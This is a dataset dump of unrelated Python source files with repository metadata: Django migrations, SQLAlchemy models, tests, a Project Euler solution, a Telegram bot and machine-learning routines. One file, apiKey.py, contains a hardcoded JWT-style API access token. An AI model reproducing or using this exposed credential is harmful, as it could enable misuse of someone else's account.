bf6fb18a6af1c76c4c5eee6165cd641fc3455ec5 | 227 | py | Python | src/prefopt/optimization/__init__.py | prefopt/prefopt | 45f3368e44cf16664ff5427a4f643f45b800d236 | [
"MIT"
] | 11 | 2017-12-06T16:15:35.000Z | 2021-02-17T14:37:13.000Z | src/prefopt/optimization/__init__.py | prefopt/prefopt | 45f3368e44cf16664ff5427a4f643f45b800d236 | [
"MIT"
] | 2 | 2017-11-21T01:26:43.000Z | 2018-01-19T23:12:01.000Z | src/prefopt/optimization/__init__.py | prefopt/prefopt | 45f3368e44cf16664ff5427a4f643f45b800d236 | [
"MIT"
] | 3 | 2017-11-22T17:15:49.000Z | 2018-02-02T02:57:57.000Z | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from .base import * # pylint: disable=wildcard-import
from .grid_search import * # pylint: disable=wildcard-import
| 32.428571 | 61 | 0.819383 | 29 | 227 | 5.896552 | 0.448276 | 0.175439 | 0.280702 | 0.315789 | 0.385965 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127753 | 227 | 6 | 62 | 37.833333 | 0.863636 | 0.277533 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.2 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
bfc9fac6d91d582910535c02dc0e55a552c349d5 | 1,757 | py | Python | Dashboard with Django/app/migrations/0005_auto_20180518_1329.py | reddyprasade/Data-Analysis-with-Python- | 2440e23486856eea5556c8262467b3a618032bc2 | [
"MIT"
] | 1 | 2021-06-29T23:15:05.000Z | 2021-06-29T23:15:05.000Z | Dashboard with Django/app/migrations/0005_auto_20180518_1329.py | reddyprasade/Data-Analysis-with-Python- | 2440e23486856eea5556c8262467b3a618032bc2 | [
"MIT"
] | null | null | null | Dashboard with Django/app/migrations/0005_auto_20180518_1329.py | reddyprasade/Data-Analysis-with-Python- | 2440e23486856eea5556c8262467b3a618032bc2 | [
"MIT"
] | 1 | 2021-12-20T10:04:53.000Z | 2021-12-20T10:04:53.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2018-05-18 07:59
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0004_auto_20180518_1257'),
]
operations = [
migrations.AlterField(
... | 31.375 | 49 | 0.602732 | 172 | 1,757 | 5.837209 | 0.337209 | 0.159363 | 0.199203 | 0.231076 | 0.748008 | 0.717131 | 0.717131 | 0.717131 | 0.666335 | 0.666335 | 0 | 0.042811 | 0.29539 | 1,757 | 55 | 50 | 31.945455 | 0.768174 | 0.038702 | 0 | 0.666667 | 1 | 0 | 0.218861 | 0.087782 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.041667 | 0 | 0.104167 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
44d80a3f4a45ae57b97b3ca7b73e24ac122f6240 | 319 | py | Python | PyKartRider/apiKey.py | gooday2die/PyKartRider | 808ed0e4b9a5591bbd9fff822e75eb811d7dfad9 | [
"MIT"
] | null | null | null | PyKartRider/apiKey.py | gooday2die/PyKartRider | 808ed0e4b9a5591bbd9fff822e75eb811d7dfad9 | [
"MIT"
] | null | null | null | PyKartRider/apiKey.py | gooday2die/PyKartRider | 808ed0e4b9a5591bbd9fff822e75eb811d7dfad9 | [
"MIT"
] | null | null | null | key = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50X2lkIjoiMTcyODUwNjU5NSIsImF1dGhfaWQiOiIyIiwidG9rZW5fdHlwZSI6IkFjY2Vzc1Rva2VuIiwic2VydmljZV9pZCI6IjQzMDAxMTM5MyIsIlgtQXBwLVJhdGUtTGltaXQiOiI1MDA6MTAiLCJuYmYiOjE2NDMyNzE2NDAsImV4cCI6MTY1ODgyMzY0MCwiaWF0IjoxNjQzMjcxNjQwfQ.2DVXqObm6S77Dy2s6MwPumCfB7-BaXFeufWC_kvBSU0" | 319 | 319 | 0.974922 | 6 | 319 | 51.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116719 | 0.00627 | 319 | 1 | 319 | 319 | 0.861199 | 0 | 0 | 0 | 0 | 0 | 0.971875 | 0.971875 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7840f13a941ae09e9039880e339c5530d66c04fc | 1,086 | py | Python | mdstudio/mdstudio/logging/brand.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 10 | 2017-09-14T07:26:15.000Z | 2021-04-01T09:33:03.000Z | mdstudio/mdstudio/logging/brand.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 117 | 2017-09-13T08:09:48.000Z | 2019-10-03T12:19:13.000Z | mdstudio/mdstudio/logging/brand.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 1 | 2018-09-26T09:40:51.000Z | 2018-09-26T09:40:51.000Z | ascii_brand = """
[49m[K[0m[12C[48;5;102m [3C [49m
[11C[48;5;102m [17C [49m
[10C[48;5;102m [7C[48;5;209m [7C[48;5;102m [49m
[9C[48;5;102m [21C [49m
[7C[48;5;102m [8C[48;5;209m [48;5;203m [12C[48;5;102m [49m
[7C[48;5;102m [9C[48;5;209m [14C[48... | 60.333333 | 107 | 0.430939 | 302 | 1,086 | 1.900662 | 0.092715 | 0.224739 | 0.299652 | 0.376307 | 0.904181 | 0.832753 | 0.832753 | 0.789199 | 0.789199 | 0.682927 | 0 | 0.451613 | 0.286372 | 1,086 | 18 | 108 | 60.333333 | 0.150968 | 0 | 0 | 0.111111 | 0 | 0.611111 | 0.980681 | 0.025759 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 |
7879e84341382ee26c84edcd5d5ab31383b6f7ef | 3,194 | py | Python | py/py_0008_largest_product_in_a_series.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0008_largest_product_in_a_series.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0008_largest_product_in_a_series.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | # Solution of;
# Project Euler Problem 8: Largest product in a series
# https://projecteuler.net/problem=8
#
# The four adjacent digits in the 1000-digit number that have
# the greatest product are 9 × 9 × 8 × 9 = 5832.
#
# 73167176531330624919225119674426574742355349194934
# 9698352031277450632623957831801698480186... | 39.925 | 74 | 0.820601 | 201 | 3,194 | 12.975124 | 0.497512 | 0.01227 | 0.01227 | 0.014571 | 0.827454 | 0.827454 | 0.827454 | 0.827454 | 0.827454 | 0.812883 | 0 | 0.732014 | 0.129618 | 3,194 | 79 | 75 | 40.43038 | 0.205036 | 0.492486 | 0 | 0 | 0 | 0 | 0.636364 | 0.631313 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027027 | false | 0 | 0.027027 | 0 | 0.081081 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
1539f6d9114aa7e87454fa1ac284c1aa0b8ba8e6 | 10,481 | py | Python | pyphabricatordb/nuance.py | veblush/PyPhabricatorDb | 154efbe225d593e9f073d73fd428171f1dd0536b | [
"MIT"
] | null | null | null | pyphabricatordb/nuance.py | veblush/PyPhabricatorDb | 154efbe225d593e9f073d73fd428171f1dd0536b | [
"MIT"
] | null | null | null | pyphabricatordb/nuance.py | veblush/PyPhabricatorDb | 154efbe225d593e9f073d73fd428171f1dd0536b | [
"MIT"
] | null | null | null | # coding: utf-8
from sqlalchemy import BINARY, Column, Index, Integer, String, VARBINARY
from sqlalchemy import String, Unicode, ForeignKey
from sqlalchemy.orm import relationship, backref
from dbdatetime import dbdatetime
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
metadata = Ba... | 38.251825 | 79 | 0.722641 | 1,074 | 10,481 | 6.912477 | 0.091248 | 0.231142 | 0.134698 | 0.168373 | 0.790005 | 0.774515 | 0.766568 | 0.748922 | 0.743669 | 0.743669 | 0 | 0.003325 | 0.167828 | 10,481 | 274 | 80 | 38.251825 | 0.847856 | 0.00124 | 0 | 0.70354 | 0 | 0 | 0.072227 | 0.023502 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.022124 | 0 | 0.893805 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
155765ee6b468dc21830e966eeeb82f6f762dd91 | 12,590 | py | Python | cvxOpt.py | neu-spiral/SeverityScoreForROP | 4892f18022965c06d3a5dbefe535883ffa002fc6 | [
"MIT"
] | null | null | null | cvxOpt.py | neu-spiral/SeverityScoreForROP | 4892f18022965c06d3a5dbefe535883ffa002fc6 | [
"MIT"
] | null | null | null | cvxOpt.py | neu-spiral/SeverityScoreForROP | 4892f18022965c06d3a5dbefe535883ffa002fc6 | [
"MIT"
] | null | null | null | # """
# This script contains the function generated by cvxopt package.
# 1 The Logistic function is to solve the logistic lasso (L1) regression problem with only feature and labels (No comparison included).
# 2 The Log_Log is to solve logistic lasso (L1) regression with Bradley Terry comparison model.
# 3 The SVM_Log f... | 52.89916 | 169 | 0.572597 | 2,203 | 12,590 | 3.256468 | 0.086246 | 0.045163 | 0.030945 | 0.016727 | 0.794815 | 0.793142 | 0.793142 | 0.770003 | 0.766657 | 0.752579 | 0 | 0.05293 | 0.258697 | 12,590 | 237 | 170 | 53.122363 | 0.71574 | 0.378872 | 0 | 0.8 | 1 | 0 | 0.012804 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045161 | false | 0 | 0.032258 | 0 | 0.141935 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
155f6c2f0777bf05d5b7164a4f723c2b98e90f0f | 10,910 | py | Python | petl/test/transform/test_maps.py | arturponinski/petl | 9215549d9351139b13c5b275515d0cc752ee72b8 | [
"MIT"
] | 435 | 2015-01-14T20:52:55.000Z | 2018-07-16T06:08:41.000Z | petl/test/transform/test_maps.py | arturponinski/petl | 9215549d9351139b13c5b275515d0cc752ee72b8 | [
"MIT"
] | 184 | 2015-01-11T19:40:45.000Z | 2018-07-25T11:50:53.000Z | petl/test/transform/test_maps.py | arturponinski/petl | 9215549d9351139b13c5b275515d0cc752ee72b8 | [
"MIT"
] | 103 | 2015-01-13T11:13:59.000Z | 2018-06-06T03:41:29.000Z | from __future__ import absolute_import, print_function, division
from collections import OrderedDict
from petl.test.failonerror import assert_failonerror
from petl.test.helpers import ieq
from petl.transform.maps import fieldmap, rowmap, rowmapmany
from functools import partial
def test_fieldmap():
table = (('... | 37.62069 | 78 | 0.433639 | 1,417 | 10,910 | 3.272406 | 0.078335 | 0.050464 | 0.058227 | 0.050464 | 0.832219 | 0.810869 | 0.772267 | 0.751132 | 0.745309 | 0.706923 | 0 | 0.127933 | 0.343721 | 10,910 | 289 | 79 | 37.750865 | 0.519693 | 0.022548 | 0 | 0.757322 | 0 | 0 | 0.134447 | 0 | 0 | 0 | 0 | 0 | 0.016736 | 1 | 0.066946 | false | 0 | 0.025105 | 0 | 0.104603 | 0.004184 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ec93da8a669fd0fb3f0c933c5cf3849cc4199540 | 23,079 | py | Python | scripts/routines.py | tyo-nu/SimAL | 8e9c289bbd77ce2a0bcd998f2dee27990af74a0f | [
"MIT"
] | 2 | 2018-11-18T01:49:27.000Z | 2021-08-24T01:49:00.000Z | scripts/routines.py | tyo-nu/SimAL | 8e9c289bbd77ce2a0bcd998f2dee27990af74a0f | [
"MIT"
] | null | null | null | scripts/routines.py | tyo-nu/SimAL | 8e9c289bbd77ce2a0bcd998f2dee27990af74a0f | [
"MIT"
] | 1 | 2020-08-17T14:00:48.000Z | 2020-08-17T14:00:48.000Z | __author__ = 'Dante'
import random
from sklearn.svm import SVC
from sklearn.metrics import accuracy_score as acc
import numpy as np
import density_weight as dw
import matplotlib as plt
from matplotlib import pyplot
import math
from sklearn import cross_validation as cv
from collections import Counter
impor... | 45.076172 | 198 | 0.699164 | 3,728 | 23,079 | 4.156384 | 0.116416 | 0.041884 | 0.021684 | 0.012391 | 0.930236 | 0.930236 | 0.925976 | 0.921459 | 0.910616 | 0.908228 | 0 | 0.016546 | 0.172494 | 23,079 | 511 | 199 | 45.164384 | 0.794795 | 0.238009 | 0 | 0.840841 | 0 | 0 | 0.050224 | 0.004946 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012012 | false | 0.018018 | 0.042042 | 0 | 0.054054 | 0.003003 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ecc5936699f134e688be3e4ca1123e486a6610be | 82 | py | Python | app.py | faraz07-AI/mydocs | 8f06bc514ddfd8759f6337a61d0ef558f4b52ae5 | [
"MIT"
] | null | null | null | app.py | faraz07-AI/mydocs | 8f06bc514ddfd8759f6337a61d0ef558f4b52ae5 | [
"MIT"
] | null | null | null | app.py | faraz07-AI/mydocs | 8f06bc514ddfd8759f6337a61d0ef558f4b52ae5 | [
"MIT"
] | null | null | null | import streamlit
from predict_page import show_predict_page
show_predict_page() | 27.333333 | 43 | 0.865854 | 12 | 82 | 5.5 | 0.5 | 0.5 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109756 | 82 | 3 | 44 | 27.333333 | 0.90411 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
01a7e81cbd3a06aa8303facc964cb707271af572 | 3,056 | py | Python | tests/unit/exchange/conftest.py | weilbith/relay | ab1fc05cbb0ce664409a055f18a67255917c6959 | [
"MIT"
] | 7 | 2017-07-21T09:13:56.000Z | 2019-03-06T05:38:45.000Z | tests/unit/exchange/conftest.py | weilbith/relay | ab1fc05cbb0ce664409a055f18a67255917c6959 | [
"MIT"
] | 223 | 2019-06-28T13:49:09.000Z | 2021-10-20T18:04:59.000Z | tests/unit/exchange/conftest.py | weilbith/relay | ab1fc05cbb0ce664409a055f18a67255917c6959 | [
"MIT"
] | 5 | 2019-04-07T14:31:02.000Z | 2022-03-08T10:25:42.000Z | import pytest
from eth_utils import to_checksum_address
from relay.constants import NULL_ADDRESS
from relay.exchange.order import Order, SignableOrder
@pytest.fixture()
def invalid_signature_order(addresses):
A, B, C, D = addresses
return Order(
exchange_address=A,
maker_address=B,
ta... | 26.119658 | 70 | 0.656086 | 377 | 3,056 | 4.997347 | 0.153846 | 0.076433 | 0.067941 | 0.089172 | 0.835987 | 0.791932 | 0.791932 | 0.791932 | 0.791932 | 0.791932 | 0 | 0.053097 | 0.260471 | 3,056 | 116 | 71 | 26.344828 | 0.780531 | 0 | 0 | 0.778846 | 0 | 0 | 0.015707 | 0.013743 | 0 | 0 | 0.013743 | 0 | 0 | 1 | 0.048077 | false | 0 | 0.038462 | 0 | 0.134615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
bf0dc800eb258f1454a9b8b0d0f82079006fee56 | 3,592 | py | Python | backend/uclapi/roombookings/migrations/0011_rooma_roomb.py | balping/uclapi | 57cb77a58a2f8fc5bb523b459fa074380f4d8dcc | [
"MIT"
] | null | null | null | backend/uclapi/roombookings/migrations/0011_rooma_roomb.py | balping/uclapi | 57cb77a58a2f8fc5bb523b459fa074380f4d8dcc | [
"MIT"
] | null | null | null | backend/uclapi/roombookings/migrations/0011_rooma_roomb.py | balping/uclapi | 57cb77a58a2f8fc5bb523b459fa074380f4d8dcc | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.18 on 2019-02-21 12:54
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('roombookings', '0010_delete_pagetoken'),
]
operations = [
migrations.Creat... | 57.935484 | 114 | 0.595768 | 400 | 3,592 | 5.2375 | 0.18 | 0.229117 | 0.286396 | 0.343675 | 0.877327 | 0.877327 | 0.877327 | 0.877327 | 0.877327 | 0.877327 | 0 | 0.037792 | 0.248608 | 3,592 | 61 | 115 | 58.885246 | 0.738422 | 0.019209 | 0 | 0.814815 | 1 | 0 | 0.089489 | 0.005966 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.092593 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
1720922c4cd4f6e1b3e6d4cbca103b3ff56dc646 | 86 | py | Python | finny/boot/__init__.py | hurrycane/finny | aff6e1c480426976cfee02b3c1d3e6ae9c196f81 | [
"MIT"
] | null | null | null | finny/boot/__init__.py | hurrycane/finny | aff6e1c480426976cfee02b3c1d3e6ae9c196f81 | [
"MIT"
] | null | null | null | finny/boot/__init__.py | hurrycane/finny | aff6e1c480426976cfee02b3c1d3e6ae9c196f81 | [
"MIT"
] | null | null | null | from .boot_helper import load_runner
from .boot_helper import load_environment_config
| 28.666667 | 48 | 0.883721 | 13 | 86 | 5.461538 | 0.615385 | 0.225352 | 0.394366 | 0.56338 | 0.676056 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 86 | 2 | 49 | 43 | 0.910256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
17395005889ef603468c481cdff84f7368ede294 | 99,502 | py | Python | src/body.py | SSenpo/senpo | 85a5c0b7f2817bcacea8a8150839a3b49436f096 | [
"MIT"
] | null | null | null | src/body.py | SSenpo/senpo | 85a5c0b7f2817bcacea8a8150839a3b49436f096 | [
"MIT"
] | null | null | null | src/body.py | SSenpo/senpo | 85a5c0b7f2817bcacea8a8150839a3b49436f096 | [
"MIT"
] | 2 | 2021-11-08T08:47:50.000Z | 2021-11-08T19:49:51.000Z | import telebot as tb
from telebot import types
import config
import time
import sqlite3
import datetime
def main():
# Подключаемся к боту
bot = tb.TeleBot(config.TOKEN)
# Подключаем базу
conn = sqlite3.connect('db/database', check_same_thread=False)
# Создаем курсор для работы с таблицами
curs... | 56.535227 | 169 | 0.537788 | 10,793 | 99,502 | 4.80719 | 0.074956 | 0.023475 | 0.040841 | 0.051403 | 0.864583 | 0.848412 | 0.832241 | 0.808862 | 0.80468 | 0.787873 | 0 | 0.015341 | 0.333119 | 99,502 | 1,759 | 170 | 56.567368 | 0.766427 | 0.062602 | 0 | 0.744246 | 0 | 0.007673 | 0.252938 | 0.001556 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019821 | false | 0.001918 | 0.003836 | 0 | 0.051151 | 0.004476 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
174250b11e371c55987cd04f0e92a645240dbb0a | 2,349 | py | Python | python/testData/inspections/PyCompatibilityInspection/stringLiteralExpression.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | null | null | null | python/testData/inspections/PyCompatibilityInspection/stringLiteralExpression.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | null | null | null | python/testData/inspections/PyCompatibilityInspection/stringLiteralExpression.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | 1 | 2020-11-27T10:36:50.000Z | 2020-11-27T10:36:50.000Z | a = <warning descr="Python version 3.0, 3.1, 3.2 do not support a 'U' prefix">u</warning>"String"
# python 3.3
a = <warning descr="Python version 3.0, 3.1, 3.2 do not support a 'U' prefix">u</warning>""
a = r""
a = <warning descr="Python version 2.4, 2.5 do not support a 'B' prefix">b</warning>""
a = <error descr="Py... | 55.928571 | 201 | 0.641124 | 498 | 2,349 | 3.024096 | 0.066265 | 0.167995 | 0.2749 | 0.315405 | 0.941567 | 0.915007 | 0.915007 | 0.915007 | 0.915007 | 0.915007 | 0 | 0.095238 | 0.159642 | 2,349 | 42 | 202 | 55.928571 | 0.66768 | 0.039591 | 0 | 0.73913 | 0 | 0.608696 | 0.624722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
bd5b3b144aedbc0af0b75256a418961a64752d56 | 169,643 | py | Python | Invoicing_classes.py | alexeltsar/Invoicing-Project | d0e1402dcce41995a36eae229474405590e433b5 | [
"Apache-2.0"
] | null | null | null | Invoicing_classes.py | alexeltsar/Invoicing-Project | d0e1402dcce41995a36eae229474405590e433b5 | [
"Apache-2.0"
] | null | null | null | Invoicing_classes.py | alexeltsar/Invoicing-Project | d0e1402dcce41995a36eae229474405590e433b5 | [
"Apache-2.0"
] | null | null | null | import sys, re
import PyQt5
from PyQt5.QtWidgets import QApplication, QLineEdit, QMainWindow, QMessageBox, QDialog, QPushButton, QLabel, QTableWidget, QTableWidgetItem, QVBoxLayout, QHeaderView, QSpinBox, QDoubleSpinBox, QGraphicsView, QTableWidgetItem
from PyQt5 import uic
from PyQt5.QtCore import pyqtSlot, QDate,... | 31.573237 | 238 | 0.659391 | 22,539 | 169,643 | 4.827765 | 0.033986 | 0.021257 | 0.027699 | 0.033994 | 0.880226 | 0.853915 | 0.829028 | 0.795934 | 0.767923 | 0.747071 | 0 | 0.016823 | 0.197963 | 169,643 | 5,373 | 239 | 31.573237 | 0.782919 | 0.050889 | 0 | 0.784569 | 0 | 0.004618 | 0.144264 | 0.006339 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05542 | false | 0.000543 | 0.006248 | 0.000272 | 0.114643 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
bdddc5c2db1f67404d5f427a90c97ff420234f3a | 1,079 | py | Python | tests/py/syntax_def/test_syntax.py | bcrotty/PowerShell | 4f0c64060a91425a4cc1007e95ea2d9848c1b88a | [
"MIT"
] | null | null | null | tests/py/syntax_def/test_syntax.py | bcrotty/PowerShell | 4f0c64060a91425a4cc1007e95ea2d9848c1b88a | [
"MIT"
] | null | null | null | tests/py/syntax_def/test_syntax.py | bcrotty/PowerShell | 4f0c64060a91425a4cc1007e95ea2d9848c1b88a | [
"MIT"
] | null | null | null | from PowerShell.tests.py import PowerShellSyntaxTest
class Test_DoubleQuoted_HereDocStrings(PowerShellSyntaxTest):
def testIsScopeCorrectIfDelimiterAtBOL(self):
self.append("""@"
hello
"@
""")
sname = self.getFinestScopeNameAtRowCol(1, 1)
self.assertEqual(sname, 'string.quoted.double.hered... | 28.394737 | 74 | 0.70899 | 94 | 1,079 | 8.095745 | 0.287234 | 0.04205 | 0.073587 | 0.21025 | 0.883049 | 0.883049 | 0.883049 | 0.883049 | 0.883049 | 0.883049 | 0 | 0.008879 | 0.164968 | 1,079 | 37 | 75 | 29.162162 | 0.835738 | 0 | 0 | 0.774194 | 0 | 0 | 0.202039 | 0.144578 | 0 | 0 | 0 | 0 | 0.129032 | 1 | 0.129032 | false | 0 | 0.032258 | 0 | 0.225806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
bdf95c9fe1375a40a72b2f7495c62e1968dd4d57 | 5,706 | py | Python | eval/generate_config.py | MaggieQi/concord-bft | 8db0cfbec988e691ce592901124bee6617d64be4 | [
"Apache-2.0"
] | null | null | null | eval/generate_config.py | MaggieQi/concord-bft | 8db0cfbec988e691ce592901124bee6617d64be4 | [
"Apache-2.0"
] | null | null | null | eval/generate_config.py | MaggieQi/concord-bft | 8db0cfbec988e691ce592901124bee6617d64be4 | [
"Apache-2.0"
] | 1 | 2021-05-18T02:12:33.000Z | 2021-05-18T02:12:33.000Z | import sys
from optparse import OptionParser
import json
parser = OptionParser(usage="Usage: generate_config.py <options> num_replica_servers num_replica_threads num_client_servers num_client_threads")
parser.add_option("-d", "--commit_duration", default=50, type="int", help="Pompe consensus commit duration.")
